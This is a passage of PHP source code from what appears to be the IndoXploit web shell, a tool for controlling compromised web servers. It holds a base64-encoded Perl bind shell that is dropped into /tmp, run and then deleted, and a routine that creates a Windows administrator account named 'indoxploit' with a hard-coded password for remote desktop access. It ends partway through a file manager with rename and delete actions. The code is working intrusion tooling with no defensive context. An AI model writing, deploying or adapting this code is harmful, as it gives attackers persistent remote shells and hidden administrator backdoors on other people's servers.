816 $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
817 save("/tmp/bp.pl", "w", base64_decode($bp['code']));
818 $bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &");
819 sleep(1);
820 print "<pre>".$bp['exec']."\n".exe("ps aux | grep bp.pl")."</pre>";
821 @unlink("/tmp/bp.pl");
822 }
823 }
824 else {
825 print color(1, 1, "Unknown '".$args[0]."'");
826 }
827 }
828 elseif($toolsname === "krdp") {
829 $args = explode(" ", $args);
830
831 if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));
832 if(preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username 'indoxploit' already exists."));
833
834 $add_user = exe("net user indoxploit indoxploit /add");
835 $add_groups1 = exe("net localgroup Administrators indoxploit /add");
836 $add_groups2 = exe("net localgroup Administrator indoxploit /add");
837 $add_groups3 = exe("net localgroup Administrateur indoxploit /add");
838
839 print "[ RDP ACCOUNT INFO ]<br>
840 ------------------------------<br>
841 IP: ".color(1, 2, $GLOBALS['SERVERIP'])."<br>
842 Username: ".color(1, 2, "indoxploit")."<br>
843 Password: ".color(1, 2, "indoxploit")."<br>
844 ------------------------------<br><br>
845 [ STATUS ]<br>
846 ------------------------------<br>
847 ";
848
849 if($add_user) {
850 print "[add user] -> ".color(1, 2, "SUCCESS")."<br>";
851 }
852 else {
853 print "[add user] -> ".color(1, 1, "FAILED")."<br>";
854 }
855
856 if($add_groups1) {
857 print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."<br>";
858 }
859 elseif($add_groups2) {
860 print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."<br>";
861 }
862 elseif($add_groups3) {
863 print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."<br>";
864 }
865 else {
866 print "[add localgroup] -> ".color(1, 1, "FAILED")."<br>";
867 }
868
869 print "------------------------------<br>";
870 }
871}
872
873function files_and_folder() {
874 if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
875 if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
876 print '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
877 <tr>
878 <th class="th_home"><center>Name</center></th>
879 <th class="th_home"><center>Type</center></th>
880 <th class="th_home"><center>Size</center></th>
881 <th class="th_home"><center>Last Modified</center></th>
882 <th class="th_home"><center>Owner/Group</center></th>
883 <th class="th_home"><center>Permission</center></th>
884 <th class="th_home"><center>Action</center></th>
885 </tr>';
886
887 if(function_exists('opendir')) {
888 if($opendir = opendir(path())) {
889 while(($readdir = readdir($opendir)) !== false) {
890 $dir[] = $readdir;
891 }
892 closedir($opendir);
893 }
894 sort($dir);
895 } else {
896 $dir = scandir(path());
897 }
898
899 foreach($dir as $folder) {
900 $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder;
901 if(!is_dir($dirinfo['path'])) continue;
902 $dirinfo['type'] = filetype($dirinfo['path']);
903 $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path']));
904 $dirinfo['size'] = "-";
905 $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
906 $dirinfo['link'] = ($folder === ".." ? "<a href='?dir=".dirname(path())."'>$folder</a>" : ($folder === "." ? "<a href='?dir=".path()."'>$folder</a>" : "<a href='?dir=".$dirinfo['path']."'>$folder</a>"));
907 $dirinfo['action']= ($folder === '.' || $folder === '..') ? "<a href='?act=newfile&dir=".path()."'>newfile</a> | <a href='?act=newfolder&dir=".path()."'>newfolder</a>" : "<a href='?act=rename_folder&dir=".$dirinfo['path']."'>rename</a> | <a href='?act=delete_folder&dir=".$dirinfo['path']."'>delete</a>";
908 if(function_exists('posix_getpwuid')) {
909 $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
910 $dirinfo['owner'] = $dirinfo['owner']->name;
911 } else {
912 $dirinfo['owner'] = fileowner($dirinfo['path']);
913 }
914 if(function_exists('posix_getgrgid')) {
915 $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
916 $dirinfo['group'] = $dirinfo['group']->name;
917 } else {
918 $dirinfo['group'] = filegroup($dirinfo['path']);
919 }
920 print "<tr>";
921 print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>".$dirinfo['link']."</td>";
922 print "<td class='td_home' style='text-align: center;'>".$dirinfo['type']."</td>";
923 print "<td class='td_home' style='text-align: center;'>".$dirinfo['size']."</td>";
924 print "<td class='td_home' style='text-align: center;'>".$dirinfo['time']."</td>";
925 print "<td class='td_home' style='text-align: center;'>".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."</td>";
926 print "<td class='td_home' style='text-align: center;'>".$dirinfo['perms']."</td>";
927 print "<td class='td_home' style='padding-left: 15px;'>".$dirinfo['action']."</td>";
928 print "</tr>";
929 }
930 foreach($dir as $files) {
931 $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files;
932 if(!is_file($fileinfo['path'])) continue;
933 $fileinfo['